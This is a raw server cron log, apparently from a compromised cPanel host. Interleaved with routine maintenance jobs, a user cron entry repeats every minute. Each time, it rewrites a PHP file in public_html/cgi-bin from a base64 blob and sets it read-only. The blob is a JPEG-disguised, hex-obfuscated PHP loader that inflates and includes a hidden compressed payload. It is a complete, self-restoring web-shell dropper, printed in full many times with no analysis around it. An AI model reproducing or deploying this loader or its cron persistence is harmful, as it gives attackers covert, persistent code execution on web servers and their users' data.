JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:33:01 server CROND[2203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:33:01 server CROND[2204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:33:01 server CROND[2205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:34:01 server anacron[17873]: Job `cron.daily' started
Sep  7 03:34:01 server run-parts(/etc/cron.daily)[2728]: starting imunify-antivirus.cron
Sep  7 03:34:02 server CROND[2750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:34:02 server CROND[2748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:34:02 server CROND[2751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:35:01 server CROND[3141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:35:01 server CROND[3143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:35:01 server CROND[3145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:35:01 server CROND[3147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:35:01 server CROND[3148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:35:01 server CROND[3150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:35:01 server CROND[3149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:35:01 server CROND[3151]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 03:35:01 server CROND[3153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:36:01 server CROND[3999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:36:01 server CROND[4000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:36:01 server CROND[4001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:37:01 server CROND[4381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:37:01 server CROND[4382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:37:01 server CROND[4383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:38:01 server CROND[4768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:38:01 server CROND[4769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:38:01 server CROND[4770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:39:01 server CROND[5280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:39:01 server CROND[5277]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 03:39:01 server CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:39:01 server CROND[5281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:40:01 server CROND[5675]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:40:01 server CROND[5678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:40:01 server CROND[5680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:40:01 server CROND[5682]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:40:01 server CROND[5683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:40:01 server CROND[5681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:40:01 server CROND[5686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:40:01 server CROND[5684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:41:01 server CROND[6530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:41:01 server CROND[6531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:41:01 server CROND[6532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:42:01 server CROND[6927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:42:01 server CROND[6928]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:42:01 server CROND[6930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:42:01 server CROND[6929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:43:01 server CROND[7320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:43:01 server CROND[7321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:43:01 server CROND[7323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:44:01 server CROND[7801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:44:01 server CROND[7802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:44:01 server CROND[7803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
